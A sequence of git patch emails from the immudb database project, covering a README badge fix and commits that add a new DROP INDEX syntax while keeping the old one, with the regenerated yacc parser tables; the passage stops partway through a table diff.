SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue?link=https%3A%2F%2Fsbom.sh%2F36a0212a-aff8-4f81-9aa4-547e8b96fa9c) [![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb) [![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) From 5ab892f27a67ffc4c6ed96640b30d743d34ba82d Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 12 Oct 2023 11:32:05 +0200 Subject: [PATCH 0853/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ac4520a1a6..edc8a72a36 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb) [![Coverage](https://coveralls.io/repos/github/codenotary/immudb/badge.svg?branch=master&kill_cache=1)](https://coveralls.io/github/codenotary/immudb?branch=master&kill_cache=1) -![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue?link=https%3A%2F%2Fsbom.sh%2F36a0212a-aff8-4f81-9aa4-547e8b96fa9c) +[![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue)](https://sbom.sh/36a0212a-aff8-4f81-9aa4-547e8b96fa9c) [![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb) [![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) From 7bcd2f757853062f01b7f26dde14f4235ab7fe03 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 12 Oct 2023 11:45:26 +0200 Subject: [PATCH 0854/1062] fix: standard syntax for drop index --- embedded/sql/sql_grammar.y | 6 +- embedded/sql/sql_parser.go | 230 ++++++++++++++++++------------------- 2 files changed, 118 insertions(+), 118 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 8f81a396f3..25d5e45f6b 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -7,7 +7,7 @@ You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 -Unless required by applicable law or agreed to in writing, software +// Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and @@ -226,9 +226,9 @@ ddlstmt: $$ = &CreateIndexStmt{unique: true, ifNotExists: $4, table: $6, cols: $8} } | - DROP INDEX ON IDENTIFIER '(' ids ')' + DROP INDEX IDENTIFIER DOT ids { - $$ = &DropIndexStmt{table: $4, cols: $6} + $$ = &DropIndexStmt{table: $3, cols: $5} } | ALTER TABLE IDENTIFIER ADD COLUMN colSpec diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 030598db7a..c5c8bc9c38 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -246,103 +246,103 @@ var yyExca = [...]int16{ 59, 144, 62, 144, -2, 132, - -1, 200, + -1, 199, 45, 108, -2, 103, - -1, 231, + -1, 229, 45, 108, -2, 105, } const yyPrivate = 57344 -const yyLast = 400 +const yyLast = 397 var yyAct = [...]int16{ - 78, 315, 65, 194, 113, 224, 149, 250, 254, 93, - 155, 146, 184, 230, 105, 249, 6, 185, 166, 48, - 84, 108, 286, 241, 192, 240, 218, 192, 192, 297, - 192, 19, 291, 192, 271, 269, 242, 77, 219, 290, - 287, 193, 255, 281, 159, 272, 270, 81, 235, 217, - 83, 215, 207, 206, 96, 92, 191, 94, 95, 256, - 64, 157, 97, 117, 87, 88, 89, 90, 91, 66, - 251, 140, 214, 211, 82, 140, 110, 168, 124, 86, - 141, 81, 135, 136, 83, 139, 137, 138, 96, 92, - 119, 94, 95, 116, 104, 103, 97, 21, 87, 88, - 89, 90, 91, 66, 67, 67, 106, 151, 82, 314, - 308, 131, 66, 86, 275, 131, 148, 162, 62, 163, - 274, 158, 152, 129, 130, 218, 170, 171, 172, 173, - 174, 175, 208, 160, 128, 127, 125, 126, 128, 127, - 183, 186, 153, 182, 192, 112, 117, 268, 267, 131, - 28, 29, 216, 187, 181, 199, 246, 129, 130, 197, - 131, 188, 200, 204, 209, 205, 131, 237, 129, 130, - 125, 126, 128, 127, 202, 198, 201, 274, 67, 213, - 210, 125, 126, 128, 127, 66, 131, 125, 126, 128, - 127, 76, 180, 115, 67, 130, 226, 147, 262, 248, - 222, 228, 109, 190, 189, 167, 234, 125, 126, 128, - 127, 114, 169, 164, 167, 186, 27, 161, 120, 247, - 99, 70, 68, 243, 37, 54, 253, 238, 52, 47, - 154, 244, 245, 233, 257, 266, 285, 134, 212, 252, - 261, 177, 265, 98, 258, 259, 133, 131, 176, 284, - 178, 118, 186, 179, 43, 69, 60, 38, 316, 317, - 300, 225, 195, 307, 276, 294, 122, 123, 277, 279, - 158, 280, 282, 106, 42, 293, 260, 111, 35, 40, - 203, 19, 288, 305, 298, 289, 296, 295, 58, 223, - 221, 22, 34, 33, 301, 263, 220, 303, 144, 44, - 45, 143, 142, 306, 304, 309, 227, 121, 71, 53, - 312, 313, 310, 19, 196, 81, 2, 318, 83, 46, - 319, 72, 96, 92, 32, 94, 95, 10, 12, 11, - 97, 102, 87, 88, 89, 90, 91, 66, 41, 156, - 236, 30, 82, 31, 13, 75, 74, 86, 100, 101, - 150, 7, 23, 8, 9, 14, 15, 36, 20, 16, - 17, 273, 24, 26, 25, 19, 50, 51, 107, 132, - 264, 283, 299, 55, 56, 57, 311, 239, 278, 80, - 79, 292, 232, 231, 229, 73, 49, 59, 39, 63, - 61, 85, 302, 145, 165, 18, 5, 4, 3, 1, + 78, 313, 65, 193, 113, 222, 149, 248, 252, 93, + 155, 141, 184, 228, 105, 247, 6, 185, 48, 108, + 166, 84, 19, 284, 239, 187, 238, 217, 187, 295, + 288, 187, 187, 289, 285, 269, 267, 77, 81, 240, + 192, 83, 279, 270, 268, 96, 92, 253, 94, 95, + 159, 233, 216, 97, 214, 87, 88, 89, 90, 91, + 66, 64, 206, 205, 254, 82, 191, 157, 249, 117, + 86, 213, 210, 140, 168, 139, 110, 140, 124, 137, + 119, 81, 135, 136, 83, 116, 104, 138, 96, 92, + 103, 94, 95, 21, 131, 273, 97, 67, 87, 88, + 89, 90, 91, 66, 66, 312, 106, 151, 82, 306, + 62, 272, 67, 86, 131, 147, 148, 128, 127, 163, + 217, 158, 152, 130, 131, 162, 170, 171, 172, 173, + 174, 175, 129, 130, 160, 125, 126, 128, 127, 207, + 183, 186, 153, 187, 117, 125, 126, 128, 127, 112, + 99, 76, 182, 215, 181, 198, 266, 265, 272, 196, + 67, 131, 199, 203, 188, 204, 244, 66, 131, 129, + 130, 208, 235, 197, 201, 200, 129, 130, 180, 212, + 209, 115, 125, 126, 128, 127, 131, 28, 29, 125, + 126, 128, 127, 67, 142, 224, 282, 260, 246, 114, + 226, 218, 109, 98, 190, 232, 189, 125, 126, 128, + 127, 167, 169, 164, 186, 161, 120, 70, 245, 167, + 68, 37, 241, 54, 251, 53, 122, 123, 236, 52, + 242, 243, 255, 47, 154, 231, 134, 250, 259, 264, + 177, 283, 256, 257, 211, 133, 263, 176, 131, 178, + 186, 43, 179, 27, 118, 69, 60, 38, 314, 315, + 298, 223, 274, 194, 305, 292, 275, 277, 158, 278, + 280, 106, 42, 291, 258, 111, 35, 40, 202, 19, + 286, 303, 296, 287, 294, 293, 58, 221, 220, 22, + 34, 33, 299, 261, 219, 301, 145, 44, 45, 144, + 143, 304, 302, 307, 225, 121, 71, 195, 310, 311, + 308, 19, 46, 81, 2, 316, 83, 32, 317, 72, + 96, 92, 234, 94, 95, 10, 12, 11, 97, 102, + 87, 88, 89, 90, 91, 66, 41, 156, 150, 30, + 82, 31, 13, 75, 74, 86, 100, 101, 20, 7, + 23, 8, 9, 14, 15, 36, 271, 16, 17, 107, + 24, 26, 25, 19, 50, 51, 132, 262, 281, 297, + 309, 55, 56, 57, 237, 276, 80, 79, 290, 230, + 229, 227, 73, 49, 59, 39, 63, 61, 85, 300, + 146, 165, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 323, -1000, -1000, 8, -1000, -1000, -1000, 262, -1000, -1000, - 345, 143, 324, 307, 259, 258, 234, 151, 201, 236, - -1000, 323, -1000, 194, 194, 194, 300, -1000, 156, 356, - 155, 289, 152, 151, 151, 151, 250, -1000, 199, 32, - -1000, -1000, 149, 197, 148, 288, 194, -1000, -1000, 333, - 23, 23, -1000, 147, 326, 5, 4, 226, 129, 239, - -1000, 233, -1000, 62, 138, -1000, 3, 64, -1000, 190, - 0, 145, 287, -1000, 23, 23, -1000, 257, 86, 179, - -1000, 257, 257, -4, -1000, -1000, 257, -1000, -1000, -1000, - -1000, -1000, -5, -1000, -1000, -1000, -1000, -19, -1000, -10, - 277, 276, 273, 124, 124, 344, 257, 59, -1000, 158, - -1000, -29, 105, -1000, -1000, 144, 31, 140, -1000, 132, - -13, 139, -1000, -1000, 86, 257, 257, 257, 257, 257, - 257, 183, 191, 118, -1000, 123, 48, 239, 52, 257, - 257, 124, 132, 131, 130, -35, 61, -1000, -50, 212, - 295, 86, 344, 129, 257, 344, 356, 271, 138, -15, - 138, -1000, -38, -39, -1000, 49, -1000, 90, 124, -17, - 48, 48, 184, 184, 123, 103, -1000, 173, 257, -18, - -1000, -40, -1000, 97, -42, 42, 86, -53, -1000, 272, - -1000, 255, 127, 254, 210, 257, 286, 212, -1000, 86, - 163, 138, -43, 325, -1000, -1000, -1000, -1000, 141, -67, - -55, 124, -1000, 123, -11, -1000, 82, -1000, 257, -1000, - 126, -20, -1000, -20, -1000, 257, 86, -31, 210, 226, - -1000, 163, 231, -1000, -1000, 138, 125, 268, -1000, 177, - 73, 72, -1000, -56, -45, -57, -46, 86, -1000, 94, - -1000, 257, 37, 86, -1000, -1000, 124, -1000, 221, -1000, - -29, -1000, -48, -31, 185, -1000, 171, -71, -51, -1000, - -1000, -1000, -1000, -1000, -20, 246, -52, -59, 229, 216, - 344, 138, -62, -1000, -1000, -1000, -1000, -1000, -1000, 244, - -1000, -1000, 208, 257, 121, 284, -1000, -1000, 242, 212, - 214, 86, 27, -1000, 257, -1000, 210, 121, 121, 86, - -1000, 26, 205, -1000, 121, -1000, -1000, -1000, 205, -1000, + 321, -1000, -1000, 4, -1000, -1000, -1000, 260, -1000, -1000, + 343, 180, 322, 300, 257, 256, 232, 148, 201, 234, + -1000, 321, -1000, 191, 191, 191, 293, -1000, 160, 354, + 156, 152, 150, 148, 148, 148, 248, -1000, 199, 24, + -1000, -1000, 147, 197, 144, 286, 191, -1000, -1000, 331, + 23, 23, -1000, 68, 324, 0, -4, 224, 129, 237, + -1000, 231, -1000, 66, 126, -1000, -5, 62, -1000, 193, + -10, 143, 285, -1000, 23, 23, -1000, 255, 105, 178, + -1000, 255, 255, -11, -1000, -1000, 255, -1000, -1000, -1000, + -1000, -1000, -15, -1000, -1000, -1000, -1000, -13, -1000, 121, + 275, 274, 271, 121, 121, 332, 255, 59, -1000, 162, + -1000, -23, 87, -1000, -1000, 142, 39, 140, -1000, 138, + -16, 139, -1000, -1000, 105, 255, 255, 255, 255, 255, + 255, 182, 190, 104, -1000, 51, 31, 237, 61, 255, + 255, 60, -1000, 138, 133, 131, -25, 60, -51, 213, + 288, 105, 332, 129, 255, 332, 354, 269, 126, -17, + 126, -1000, -28, -29, -1000, 56, -1000, 97, 121, -18, + 31, 31, 185, 185, 51, 123, -1000, 179, 255, -19, + -1000, -37, -1000, 98, -39, 37, 105, 128, -1000, 270, + -1000, 253, 252, 210, 255, 284, 213, -1000, 105, 165, + 126, -40, 307, -1000, -1000, -1000, -1000, 146, -66, -52, + 121, -1000, 51, -20, -1000, 92, -1000, 255, -1000, 125, + -22, -22, -1000, 255, 105, -26, 210, 224, -1000, 165, + 229, -1000, -1000, 126, 124, 266, -1000, 181, 82, 81, + -1000, -55, -47, -56, -48, 105, -1000, 75, -1000, 255, + 28, 105, -1000, -1000, 121, -1000, 219, -1000, -23, -1000, + -49, -26, 132, -1000, 176, -70, -57, -1000, -1000, -1000, + -1000, -1000, -22, 244, -61, -58, 227, 216, 332, 126, + -62, -1000, -1000, -1000, -1000, -1000, -1000, 242, -1000, -1000, + 208, 255, 120, 282, -1000, -1000, 240, 213, 215, 105, + 26, -1000, 255, -1000, 210, 120, 120, 105, -1000, 22, + 205, -1000, 120, -1000, -1000, -1000, 205, -1000, } var yyPgo = [...]int16{ - 0, 399, 316, 398, 397, 396, 16, 395, 394, 18, - 11, 8, 393, 392, 15, 7, 17, 12, 391, 9, - 20, 390, 389, 2, 388, 387, 10, 339, 19, 386, - 385, 191, 384, 13, 383, 382, 0, 14, 381, 380, - 379, 378, 3, 5, 377, 4, 376, 372, 1, 6, - 274, 371, 370, 369, 21, 368, 361, 358, + 0, 396, 314, 395, 394, 393, 16, 392, 391, 20, + 11, 8, 390, 389, 15, 7, 17, 12, 388, 9, + 21, 387, 386, 2, 385, 384, 10, 337, 18, 383, + 382, 151, 381, 13, 380, 379, 0, 14, 378, 377, + 376, 375, 3, 5, 374, 4, 370, 369, 1, 6, + 272, 368, 367, 366, 19, 359, 356, 348, } var yyR1 = [...]int8{ @@ -367,7 +367,7 @@ var yyR1 = [...]int8{ var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, - 9, 7, 6, 8, 6, 0, 3, 1, 3, 9, + 9, 5, 6, 8, 6, 0, 3, 1, 3, 9, 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, @@ -389,33 +389,33 @@ var yyChk = [...]int16{ -57, 89, 29, 7, 17, 19, 18, 73, 7, 8, 17, 19, 17, 34, 34, 44, -27, 73, 56, -24, 43, -2, -50, 60, -50, -50, 19, 73, -28, -29, - 10, 11, 73, 20, 73, -27, -27, -27, 38, -25, + 10, 11, 73, 73, 73, -27, -27, -27, 38, -25, 57, -21, 86, -22, -20, -23, 80, 73, 73, 58, 73, 20, -50, -30, 13, 12, -31, 14, -36, -39, -40, 58, 85, 61, -20, -18, 90, 75, 76, 77, - 78, 79, 66, -19, 68, 69, 65, 73, -31, 73, + 78, 79, 66, -19, 68, 69, 65, 73, -31, 82, 22, 23, 5, 90, 90, -37, 47, -55, -54, 73, -6, 44, 83, -45, 73, 55, 90, 82, 61, 90, 73, 20, -31, -31, -36, 84, 85, 87, 86, 71, 72, 63, -53, 67, 58, -36, -36, 90, -36, 90, - 90, 90, 25, 25, 25, -12, -10, 73, -10, -49, + 90, -10, 73, 25, 25, 25, -12, -10, -10, -49, 6, -36, -37, 83, 72, -26, -27, 90, -19, 73, -20, 73, 86, -23, 73, -8, -9, 73, 90, 73, -36, -36, -36, -36, -36, -36, 65, 58, 59, 62, - 74, -6, 91, -36, -17, -16, -36, -10, -9, 73, - 73, 91, 83, 91, -42, 50, 19, -49, -54, -36, - -49, -28, -6, 9, -45, -45, 91, 91, 83, 74, - -10, 90, 65, -36, 90, 91, 55, 91, 83, 91, - 24, 35, 73, 35, -43, 51, -36, 20, -42, -32, - -33, -34, -35, 70, -45, 91, 15, 26, -9, -44, - 92, 90, 91, -10, -6, -16, 74, -36, 73, -14, - -15, 90, -14, -36, -11, 73, 90, -43, -37, -33, - 45, -45, 73, 27, -52, 65, 58, 75, 75, 91, - 91, 91, 91, -56, 83, 20, -17, -10, -41, 48, - -26, 91, -11, -51, 64, 65, 93, 91, -15, 39, - 91, 91, -38, 46, 49, -49, -45, 91, 40, -47, - 52, -36, -13, -23, 20, 41, -42, 49, 83, -36, - -43, -46, -23, -23, 83, -48, 53, 54, -23, -48, + 74, -6, 91, -36, -17, -16, -36, 83, -9, 73, + 73, 91, 91, -42, 50, 19, -49, -54, -36, -49, + -28, -6, 9, -45, -45, 91, 91, 83, 74, -10, + 90, 65, -36, 90, 91, 55, 91, 83, 73, 24, + 35, 35, -43, 51, -36, 20, -42, -32, -33, -34, + -35, 70, -45, 91, 15, 26, -9, -44, 92, 90, + 91, -10, -6, -16, 74, -36, 73, -14, -15, 90, + -14, -36, -11, 73, 90, -43, -37, -33, 45, -45, + 73, 27, -52, 65, 58, 75, 75, 91, 91, 91, + 91, -56, 83, 20, -17, -10, -41, 48, -26, 91, + -11, -51, 64, 65, 93, 91, -15, 39, 91, 91, + -38, 46, 49, -49, -45, 91, 40, -47, 52, -36, + -13, -23, 20, 41, -42, 49, 83, -36, -43, -46, + -23, -23, 83, -48, 53, 54, -23, -48, } var yyDef = [...]int16{ @@ -433,24 +433,24 @@ var yyDef = [...]int16{ 74, 0, 0, 82, 130, 0, 0, 0, 26, 0, 0, 0, 99, 100, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 145, 134, 135, 0, 0, 0, - 47, 0, 0, 0, 0, 0, 39, 43, 0, 116, + 47, 21, 43, 0, 0, 0, 0, 39, 0, 116, 0, 111, 122, 0, 0, 122, 95, 0, 129, 93, 129, 131, 0, 0, 88, 0, 62, 0, 0, 0, 146, 147, 148, 149, 150, 151, 152, 0, 0, 0, 143, 0, 142, 0, 0, 48, 49, 0, 22, 0, - 24, 0, 0, 0, 118, 0, 0, 116, 36, 37, - -2, 129, 0, 0, 91, 83, 85, 86, 0, 65, - 0, 0, 153, 136, 0, 137, 0, 61, 0, 21, - 0, 0, 44, 0, 31, 0, 117, 0, 118, 110, - 104, -2, 0, 109, 89, 129, 0, 0, 63, 70, - 0, 0, 19, 0, 0, 0, 0, 50, 23, 33, - 40, 47, 30, 119, 123, 27, 0, 32, 112, 106, - 0, 90, 0, 0, 68, 71, 0, 0, 0, 20, - 138, 139, 56, 29, 0, 0, 0, 0, 114, 0, - 122, 129, 0, 64, 69, 72, 66, 67, 41, 0, - 42, 28, 120, 0, 0, 0, 92, 17, 0, 116, - 0, 115, 113, 45, 0, 34, 118, 0, 0, 107, - 75, 121, 126, 46, 0, 124, 127, 128, 126, 125, + 24, 0, 0, 118, 0, 0, 116, 36, 37, -2, + 129, 0, 0, 91, 83, 85, 86, 0, 65, 0, + 0, 153, 136, 0, 137, 0, 61, 0, 44, 0, + 0, 0, 31, 0, 117, 0, 118, 110, 104, -2, + 0, 109, 89, 129, 0, 0, 63, 70, 0, 0, + 19, 0, 0, 0, 0, 50, 23, 33, 40, 47, + 30, 119, 123, 27, 0, 32, 112, 106, 0, 90, + 0, 0, 68, 71, 0, 0, 0, 20, 138, 139, + 56, 29, 0, 0, 0, 0, 114, 0, 122, 129, + 0, 64, 69, 72, 66, 67, 41, 0, 42, 28, + 120, 0, 0, 0, 92, 17, 0, 116, 0, 115, + 113, 45, 0, 34, 118, 0, 0, 107, 75, 121, + 126, 46, 0, 124, 127, 128, 126, 125, } var yyTok1 = [...]int8{ @@ -898,9 +898,9 @@ yydefault: yyVAL.stmt = &CreateIndexStmt{unique: true, ifNotExists: yyDollar[4].boolean, table: yyDollar[6].id, cols: yyDollar[8].ids} } case 21: - yyDollar = yyS[yypt-7 : yypt+1] + yyDollar = yyS[yypt-5 : yypt+1] { - yyVAL.stmt = &DropIndexStmt{table: yyDollar[4].id, cols: yyDollar[6].ids} + yyVAL.stmt = &DropIndexStmt{table: yyDollar[3].id, cols: yyDollar[5].ids} } case 22: yyDollar = yyS[yypt-6 : yypt+1] From 6069241545cea06be94c997712ffde2287523180 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 12 Oct 2023 12:02:26 +0200 Subject: [PATCH 0855/1062] Kept also old syntax --- embedded/sql/sql_grammar.y | 5 + embedded/sql/sql_parser.go | 623 +++++++++++++++++++------------------ 2 files changed, 321 insertions(+), 307 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 25d5e45f6b..86ae5ffad1 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -225,6 +225,11 @@ ddlstmt: { $$ = &CreateIndexStmt{unique: true, ifNotExists: $4, table: $6, cols: $8} } +| + DROP INDEX ON IDENTIFIER '(' ids ')' + { + $$ = &DropIndexStmt{table: $4, cols: $6} + } | DROP INDEX IDENTIFIER DOT ids { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index c5c8bc9c38..d2754d198e 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -242,145 +242,147 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 79, - 59, 144, - 62, 144, - -2, 132, - -1, 199, - 45, 108, - -2, 103, - -1, 229, - 45, 108, - -2, 105, + -1, 80, + 59, 145, + 62, 145, + -2, 133, + -1, 203, + 45, 109, + -2, 104, + -1, 234, + 45, 109, + -2, 106, } const yyPrivate = 57344 -const yyLast = 397 +const yyLast = 403 var yyAct = [...]int16{ - 78, 313, 65, 193, 113, 222, 149, 248, 252, 93, - 155, 141, 184, 228, 105, 247, 6, 185, 48, 108, - 166, 84, 19, 284, 239, 187, 238, 217, 187, 295, - 288, 187, 187, 289, 285, 269, 267, 77, 81, 240, - 192, 83, 279, 270, 268, 96, 92, 253, 94, 95, - 159, 233, 216, 97, 214, 87, 88, 89, 90, 91, - 66, 64, 206, 205, 254, 82, 191, 157, 249, 117, - 86, 213, 210, 140, 168, 139, 110, 140, 124, 137, - 119, 81, 135, 136, 83, 116, 104, 138, 96, 92, - 103, 94, 95, 21, 131, 273, 97, 67, 87, 88, - 89, 90, 91, 66, 66, 312, 106, 151, 82, 306, - 62, 272, 67, 86, 131, 147, 148, 128, 127, 163, - 217, 158, 152, 130, 131, 162, 170, 171, 172, 173, - 174, 175, 129, 130, 160, 125, 126, 128, 127, 207, - 183, 186, 153, 187, 117, 125, 126, 128, 127, 112, - 99, 76, 182, 215, 181, 198, 266, 265, 272, 196, - 67, 131, 199, 203, 188, 204, 244, 66, 131, 129, - 130, 208, 235, 197, 201, 200, 129, 130, 180, 212, - 209, 115, 125, 126, 128, 127, 131, 28, 29, 125, - 126, 128, 127, 67, 142, 224, 282, 260, 246, 114, - 226, 218, 109, 98, 190, 232, 189, 125, 126, 128, - 127, 167, 169, 164, 186, 161, 120, 70, 245, 167, - 68, 37, 241, 54, 251, 53, 122, 123, 236, 52, - 242, 243, 255, 47, 154, 231, 134, 250, 259, 264, - 177, 283, 256, 257, 211, 133, 263, 176, 131, 178, - 186, 43, 179, 27, 118, 69, 60, 38, 314, 315, - 298, 223, 274, 194, 305, 292, 275, 277, 158, 278, - 280, 106, 42, 291, 258, 111, 35, 40, 202, 19, - 286, 303, 296, 287, 294, 293, 58, 221, 220, 22, - 34, 33, 299, 261, 219, 301, 145, 44, 45, 144, - 143, 304, 302, 307, 225, 121, 71, 195, 310, 311, - 308, 19, 46, 81, 2, 316, 83, 32, 317, 72, - 96, 92, 234, 94, 95, 10, 12, 11, 97, 102, - 87, 88, 89, 90, 91, 66, 41, 156, 150, 30, - 82, 31, 13, 75, 74, 86, 100, 101, 20, 7, - 23, 8, 9, 14, 15, 36, 271, 16, 17, 107, - 24, 26, 25, 19, 50, 51, 132, 262, 281, 297, - 309, 55, 56, 57, 237, 276, 80, 79, 290, 230, - 229, 227, 73, 49, 59, 39, 63, 61, 85, 300, - 146, 165, 18, 5, 4, 3, 1, + 79, 318, 66, 197, 115, 227, 152, 253, 257, 94, + 158, 144, 187, 233, 107, 252, 6, 188, 48, 110, + 169, 85, 19, 289, 244, 191, 243, 221, 191, 191, + 300, 191, 191, 294, 293, 274, 272, 245, 82, 222, + 196, 84, 290, 284, 275, 97, 93, 258, 95, 96, + 162, 273, 238, 98, 220, 88, 89, 90, 91, 92, + 67, 65, 218, 210, 259, 83, 209, 160, 133, 195, + 87, 254, 119, 217, 214, 142, 171, 112, 143, 126, + 142, 141, 139, 137, 138, 121, 118, 106, 140, 127, + 128, 130, 129, 82, 105, 21, 84, 317, 278, 311, + 97, 93, 108, 95, 96, 277, 68, 221, 98, 154, + 88, 89, 90, 91, 92, 67, 133, 150, 151, 165, + 83, 166, 211, 161, 155, 87, 133, 191, 173, 174, + 175, 176, 177, 178, 131, 132, 163, 114, 156, 130, + 129, 119, 186, 189, 101, 68, 271, 127, 128, 130, + 129, 133, 67, 249, 185, 190, 184, 68, 202, 131, + 132, 277, 200, 219, 67, 203, 207, 192, 208, 77, + 63, 133, 127, 128, 130, 129, 201, 205, 204, 131, + 132, 270, 216, 213, 28, 29, 240, 117, 212, 133, + 183, 53, 127, 128, 130, 129, 68, 145, 132, 229, + 265, 251, 223, 111, 231, 116, 194, 193, 170, 237, + 127, 128, 130, 129, 172, 167, 164, 122, 189, 100, + 71, 99, 250, 69, 37, 55, 246, 52, 47, 256, + 157, 236, 241, 170, 247, 248, 287, 260, 288, 215, + 136, 133, 255, 264, 54, 124, 125, 261, 262, 135, + 27, 269, 180, 120, 181, 189, 43, 182, 268, 179, + 70, 61, 38, 319, 320, 303, 228, 279, 198, 310, + 297, 280, 282, 161, 283, 285, 108, 78, 42, 296, + 263, 113, 35, 206, 40, 291, 19, 308, 301, 299, + 298, 292, 59, 226, 225, 34, 33, 304, 22, 266, + 306, 148, 147, 44, 45, 146, 309, 224, 312, 104, + 307, 230, 123, 315, 316, 313, 19, 72, 199, 46, + 321, 82, 32, 322, 84, 73, 102, 103, 97, 93, + 2, 95, 96, 10, 12, 11, 98, 239, 88, 89, + 90, 91, 92, 67, 23, 159, 153, 30, 83, 31, + 13, 20, 41, 87, 24, 26, 25, 7, 276, 8, + 9, 14, 15, 36, 109, 16, 17, 76, 75, 50, + 51, 19, 134, 267, 286, 302, 314, 242, 281, 56, + 57, 58, 81, 80, 295, 235, 234, 232, 74, 49, + 60, 39, 64, 62, 86, 305, 149, 168, 18, 5, + 4, 3, 1, } var yyPact = [...]int16{ - 321, -1000, -1000, 4, -1000, -1000, -1000, 260, -1000, -1000, - 343, 180, 322, 300, 257, 256, 232, 148, 201, 234, - -1000, 321, -1000, 191, 191, 191, 293, -1000, 160, 354, - 156, 152, 150, 148, 148, 148, 248, -1000, 199, 24, - -1000, -1000, 147, 197, 144, 286, 191, -1000, -1000, 331, - 23, 23, -1000, 68, 324, 0, -4, 224, 129, 237, - -1000, 231, -1000, 66, 126, -1000, -5, 62, -1000, 193, - -10, 143, 285, -1000, 23, 23, -1000, 255, 105, 178, - -1000, 255, 255, -11, -1000, -1000, 255, -1000, -1000, -1000, - -1000, -1000, -15, -1000, -1000, -1000, -1000, -13, -1000, 121, - 275, 274, 271, 121, 121, 332, 255, 59, -1000, 162, - -1000, -23, 87, -1000, -1000, 142, 39, 140, -1000, 138, - -16, 139, -1000, -1000, 105, 255, 255, 255, 255, 255, - 255, 182, 190, 104, -1000, 51, 31, 237, 61, 255, - 255, 60, -1000, 138, 133, 131, -25, 60, -51, 213, - 288, 105, 332, 129, 255, 332, 354, 269, 126, -17, - 126, -1000, -28, -29, -1000, 56, -1000, 97, 121, -18, - 31, 31, 185, 185, 51, 123, -1000, 179, 255, -19, - -1000, -37, -1000, 98, -39, 37, 105, 128, -1000, 270, - -1000, 253, 252, 210, 255, 284, 213, -1000, 105, 165, - 126, -40, 307, -1000, -1000, -1000, -1000, 146, -66, -52, - 121, -1000, 51, -20, -1000, 92, -1000, 255, -1000, 125, - -22, -22, -1000, 255, 105, -26, 210, 224, -1000, 165, - 229, -1000, -1000, 126, 124, 266, -1000, 181, 82, 81, - -1000, -55, -47, -56, -48, 105, -1000, 75, -1000, 255, - 28, 105, -1000, -1000, 121, -1000, 219, -1000, -23, -1000, - -49, -26, 132, -1000, 176, -70, -57, -1000, -1000, -1000, - -1000, -1000, -22, 244, -61, -58, 227, 216, 332, 126, - -62, -1000, -1000, -1000, -1000, -1000, -1000, 242, -1000, -1000, - 208, 255, 120, 282, -1000, -1000, 240, 213, 215, 105, - 26, -1000, 255, -1000, 210, 120, 120, 105, -1000, 22, - 205, -1000, 120, -1000, -1000, -1000, 205, -1000, + 329, -1000, -1000, 6, -1000, -1000, -1000, 269, -1000, -1000, + 337, 177, 330, 305, 262, 261, 238, 151, 206, 241, + -1000, 329, -1000, 196, 196, 196, 300, -1000, 155, 359, + 154, 171, 152, 151, 151, 151, 254, -1000, 204, 84, + -1000, -1000, 150, 202, 147, 297, 196, -1000, -1000, 355, + 263, 263, -1000, 146, 62, 304, 4, -3, 229, 130, + 244, -1000, 237, -1000, 54, 132, -1000, -4, 59, -1000, + 192, -5, 144, 292, -1000, 263, 263, -1000, 35, 88, + 182, -1000, 35, 35, -8, -1000, -1000, 35, -1000, -1000, + -1000, -1000, -1000, -9, -1000, -1000, -1000, -1000, -10, -1000, + -12, 124, 280, 277, 276, 124, 124, 340, 35, 55, + -1000, 158, -1000, -23, 72, -1000, -1000, 143, 33, 142, + -1000, 135, -14, 141, -1000, -1000, 88, 35, 35, 35, + 35, 35, 35, 194, 195, 116, -1000, 126, 53, 244, + 63, 35, 35, 124, 44, -1000, 135, 134, 133, -22, + 44, -51, 218, 299, 88, 340, 130, 35, 340, 359, + 274, 132, -15, 132, -1000, -25, -28, -1000, 39, -1000, + 114, 124, -16, 53, 53, 178, 178, 126, 5, -1000, + 174, 35, -17, -1000, -29, -1000, 108, -37, 24, 88, + -52, 129, -1000, 283, -1000, 259, 258, 215, 35, 291, + 218, -1000, 88, 161, 132, -39, 322, -1000, -1000, 